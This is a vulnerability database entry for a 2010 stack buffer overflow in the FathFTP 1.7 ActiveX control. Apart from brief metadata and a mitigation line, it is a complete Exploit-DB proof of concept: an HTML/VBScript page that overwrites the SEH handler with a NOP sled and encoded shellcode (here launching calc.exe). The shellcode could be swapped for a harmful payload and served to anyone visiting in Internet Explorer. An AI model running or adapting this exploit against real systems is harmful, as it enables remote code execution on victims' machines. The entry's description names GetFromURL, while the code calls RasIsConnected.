FathFTP 1.7 ActiveX Buffer Overflow

vendor:

FathFTP

by:

Blake

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: FathFTP

Affected Version From: 1.7

Affected Version To: 1.7

Patch Exists: YES

Related CWE: N/A

CPE: a:fathsoft:fathftp:1.7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 / IE6

2010

FathFTP 1.7 ActiveX Buffer Overflow

FathFTP 1.7 ActiveX control contains a buffer overflow vulnerability when handling a specially crafted GetFromURL method call. An attacker can exploit this vulnerability to execute arbitrary code on the target system by supplying a malicious payload in the method call.

Mitigation:

Upgrade to the latest version of FathFTP 1.7 or later.

Source

Exploit-DB raw data:

<html>
<object classid='clsid:62A989CE-D39A-11D5-86F0-B9C370762176'
id='target'></object>
<script language='vbscript'>
' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow
' Date: July 7, 2010
' Author: Blake
' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml
' Version: 1.7
' Tested on: Windows XP SP3 / IE6
' Note: The GetFromURL member is also vulnerable to a stack overflow (EIP overwrite).

' 6784 bytes of shellcode space
' EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
unescape("%50%68")


buffer = string(1188, "A")
next_seh = unescape("%eb%06%90%90")              ' short jump
seh = unescape("%56%29%d1%72")                      ' 0x72D12956 [msacm32.drv]
nops = string(10, unescape("%90"))                        ' nop sled
junk = string(12820, "B")

exploit = buffer + next_seh + seh + nops + shellcode + junk
target.RasIsConnected exploit

</script>